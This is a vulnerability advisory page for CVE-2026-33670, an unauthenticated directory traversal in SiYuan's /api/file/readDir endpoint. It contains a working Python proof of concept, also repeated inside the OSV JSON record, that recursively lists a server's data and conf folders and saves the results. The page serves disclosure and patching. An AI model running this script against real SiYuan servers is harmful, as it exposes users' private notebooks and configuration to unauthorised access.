GHSA-XMW9-6R43-X9WW
Vulnerability from github – Published: 2026-03-25 19:38 – Updated: 2026-03-27 21:24
VLAI?
Summary
SiYuan has directory traversal within its publishing service
Details
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在！开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
插件文件夹
conf文件夹
Severity ?
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33670"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:38:01Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "CRITICAL"
},
"details": "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir \u672a\u9274\u6743\u76ee\u5f55\u904d\u5386\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n base = target.rstrip(\"/\")\n url = f\"{base}/api/file/readDir\"\n\n def read_dir(path, depth=0, max_depth=4):\n try:\n r = requests.post(url, json={\"path\":path},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n data = r.json()\n except Exception as e:\n return\n if data.get(\"code\") != 0:\n return\n\n entries = data.get(\"data\") or []\n for entry in entries:\n name = entry.get(\"name\",\"\")\n if name.startswith(\".\"):\n continue\n icon = \"\ud83d\udcc1\" if entry.get(\"isDir\") else \"\ud83d\udcc4\"\n indent = \" \" * depth\n print(f\" {indent}{icon} {name}\")\n\n if entry.get(\"isDir\") and depth \u003c max_depth:\n read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n # \u904d\u5386\u6839\u76ee\u5f55\n print(\"[+] \u6f0f\u6d1e\u5b58\u5728\uff01\u5f00\u59cb\u904d\u5386\\n\")\n print(\" \ud83d\udcc2 data/\")\n read_dir(\"data\", max_depth=2)\n\n print(\"\\n \ud83d\udcc2 conf/\")\n read_dir(\"conf\", max_depth=2)\n\n # \u4fdd\u5b58\n try:\n r = requests.post(url, json={\"path\":\"data\"},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n json.dump(r.json(), f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] \u6839\u76ee\u5f55\u6570\u636e\u5df2\u4fdd\u5b58: readdir.json\")\n except: pass\n\nif __name__ == \"__main__\":\n poc(sys.argv[1] if len(sys.argv)\u003e1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n\u8d44\u6e90\u6587\u4ef6\u5939\n\n\u003cimg width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" /\u003e\n\n\u63d2\u4ef6\u6587\u4ef6\u5939\n\n\u003cimg width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" /\u003e\n\nconf\u6587\u4ef6\u5939\n\n\u003cimg width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" /\u003e",
"id": "GHSA-xmw9-6r43-x9ww",
"modified": "2026-03-27T21:24:23Z",
"published": "2026-03-25T19:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33670"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has directory traversal within its publishing service"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…